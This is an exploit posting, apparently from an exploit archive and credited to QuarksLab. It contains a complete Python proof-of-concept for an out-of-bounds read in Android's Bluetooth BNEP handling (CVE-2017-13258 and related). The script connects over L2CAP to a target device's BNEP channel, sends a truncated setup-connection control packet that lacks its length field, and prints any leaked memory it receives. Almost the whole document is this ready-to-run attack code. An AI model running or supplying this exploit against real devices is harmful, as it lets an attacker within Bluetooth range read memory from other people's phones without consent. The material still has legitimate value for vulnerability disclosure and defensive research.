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Android Bluetooth BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG Out-Of-Bounds Read

Android Bluetooth BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG Out-Of-Bounds Read
Posted Mar 23, 2018
Authored by QuarksLab

Android Bluetooth BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG out-of-bounds read proof of concept vulnerability.

tags | exploit, proof of concept
advisories | CVE-2017-13258, CVE-2017-13260, CVE-2017-13261, CVE-2017-13262
MD5 | f0f7ffa65e40262314d35ff3327714bd

Android Bluetooth BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG Out-Of-Bounds Read

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import os
import sys
import struct

import bluetooth


BNEP_PSM = 15
BNEP_FRAME_CONTROL = 0x01

# Control types (parsed by bnep_process_control_packet() in bnep_utils.cc)
BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x01


def oob_read(src_bdaddr, dst):

bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.settimeout(5)
bnep.bind((src_bdaddr, 0))
print 'Connecting to BNEP...'
bnep.connect((dst, BNEP_PSM))
bnep.settimeout(1)
print "Triggering OOB read (you may need a debugger to verify that it's actually happening)..."

# This crafted BNEP packet just contains the BNEP_FRAME_CONTROL frame type,
# plus the BNEP_SETUP_CONNECTION_REQUEST_MSG control type.
# It doesn't include the 'len' field, therefore it is read from out of bounds
bnep.send(struct.pack('<BB', BNEP_FRAME_CONTROL, BNEP_SETUP_CONNECTION_REQUEST_MSG))
try:
data = bnep.recv(3)
except bluetooth.btcommon.BluetoothError:
data = ''

if data:
print '%r' % data
else:
print '[No data]'

print 'Closing connection.'
bnep.close()


def main(src_hci, dst):
os.system('hciconfig %s sspmode 0' % (src_hci,))
os.system('hcitool dc %s' % (dst,))

oob_read(src_hci, dst)


if __name__ == '__main__':
if len(sys.argv) < 3:
print('Usage: python bnep02.py <src-bdaddr> <dst-bdaddr>')
else:
if os.getuid():
print 'Error: This script must be run as root.'
else:
main(sys.argv[1], sys.argv[2])


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